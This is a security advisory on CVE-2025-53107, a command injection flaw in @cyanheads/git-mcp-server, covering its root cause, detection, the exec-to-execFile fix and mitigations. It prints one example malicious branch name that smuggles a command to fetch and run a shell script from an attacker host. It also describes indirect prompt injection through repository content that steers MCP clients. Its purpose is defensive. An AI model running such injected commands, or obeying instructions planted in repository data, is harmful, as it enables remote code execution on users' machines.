CVE-2025-53107: Git MCP Server RCE Vulnerability

CVE-2025-53107 Overview

CVE-2025-53107 is a command injection vulnerability affecting @cyanheads/git-mcp-server, an MCP (Model Context Protocol) server designed to interact with Git repositories. Prior to version 2.1.5, the server fails to properly sanitize input parameters when constructing shell commands via child_process.exec, allowing attackers to inject arbitrary system commands through shell metacharacter sequences.

Critical Impact

Successful exploitation enables remote code execution under the server process's privileges, potentially allowing full system compromise. Attackers can leverage indirect prompt injection techniques to instruct MCP Clients to execute malicious commands when performing legitimate operations like reading git logs.

Affected Products

• @cyanheads/git-mcp-server versions prior to 2.1.5

Discovery Timeline

• 2025-07-01 - CVE-2025-53107 published to NVD
• 2026-04-15 - Last updated in NVD database

Technical Details for CVE-2025-53107

Vulnerability Analysis

This vulnerability is classified as CWE-77 (Command Injection), where the application constructs shell commands using unvalidated user input directly within command-line strings. The MCP server accepts user-provided parameters for Git operations and passes them unsanitized to child_process.exec, which spawns a shell to execute the constructed command.

The fundamental issue is the use of shell execution (exec) rather than direct process spawning (execFile). When exec is used, the entire command string is passed to a shell interpreter, which processes shell metacharacters like |, >, &&, ;, and backticks. An attacker can leverage these characters to break out of the intended command context and execute arbitrary commands.

The attack surface is particularly concerning in the MCP context because MCP Clients can be manipulated through indirect prompt injection. For example, when a user asks the client to read git logs from a repository containing malicious content, the injected prompts could instruct the client to execute additional actions that trigger the vulnerable code paths.

Root Cause

The root cause is the use of child_process.exec to execute Git commands with unsanitized user input. The exec function spawns a shell (/bin/sh on Unix, cmd.exe on Windows) to interpret the command string, making it vulnerable to shell metacharacter injection. User-controlled values such as repository paths, branch names, or file patterns are concatenated directly into command strings without proper escaping or validation.

Attack Vector

The attack vector is network-based, requiring user interaction. An attacker can craft malicious input containing shell metacharacters that, when processed by the vulnerable MCP server, results in arbitrary command execution. The attack can be delivered through:

1. Direct parameter manipulation: Providing malicious input through MCP tool parameters
2. Indirect prompt injection: Embedding malicious instructions in repository content (commit messages, file names, branch names) that influence MCP Client behavior when processing git operations

For example, a malicious branch name like main; curl http://attacker.com/shell.sh | sh could result in remote code execution when the server processes checkout or log operations.

// Vulnerable code pattern (before fix)
-import { exec } from "child_process";
+import { execFile } from "child_process";
 import { promisify } from "util";
 import { z } from "zod";
 // Import utils from barrel (logger from ../utils/internal/logger.js)

Source: GitHub Commit Details

The fix replaces exec with execFile, which executes the program directly without shell interpretation, preventing metacharacter injection attacks.

Detection Methods for CVE-2025-53107

Indicators of Compromise

• Unexpected child processes spawned by the MCP server process with unusual command-line arguments
• Process execution chains showing shell invocations (/bin/sh, cmd.exe) originating from Node.js processes
• Network connections initiated by the server process to unexpected external hosts
• Presence of shell metacharacters (|, &&, ;, backticks) in git-related parameters in application logs

Detection Strategies

• Monitor Node.js process execution for suspicious child_process invocations with shell metacharacters in arguments
• Implement application-level logging to capture all parameters passed to Git operations
• Deploy endpoint detection rules to identify command injection patterns in process command lines
• Review MCP server logs for unusual Git operation requests, particularly those containing special characters

Monitoring Recommendations

• Enable verbose logging on MCP server instances to capture all incoming requests and parameters
• Configure SIEM rules to alert on shell command execution patterns originating from Node.js processes
• Monitor for lateral movement attempts following potential exploitation of MCP servers
• Implement network-level monitoring for unexpected outbound connections from server processes

How to Mitigate CVE-2025-53107

Immediate Actions Required

• Upgrade @cyanheads/git-mcp-server to version 2.1.5 or later immediately
• Audit existing MCP server deployments to identify vulnerable versions
• Review server logs for any indicators of previous exploitation attempts
• Restrict network access to MCP server instances where possible

Patch Information

The vulnerability has been patched in version 2.1.5 of @cyanheads/git-mcp-server. The fix replaces the use of child_process.exec with child_process.execFile across multiple tool implementations including gitAdd and gitCheckout. The execFile function executes the specified program directly without invoking a shell, eliminating the shell metacharacter injection attack surface.

For detailed information, see the GitHub Security Advisory GHSA-3q26-f695-pp76 and the GitHub Release v2.1.5.

Workarounds

• If immediate patching is not possible, restrict access to the MCP server to trusted clients only
• Implement input validation at the network boundary to filter requests containing shell metacharacters
• Run the MCP server with minimal privileges to limit the impact of potential exploitation
• Consider temporarily disabling the MCP server until patching can be completed

# Upgrade to patched version
npm update @cyanheads/git-mcp-server@2.1.5

# Verify installed version
npm list @cyanheads/git-mcp-server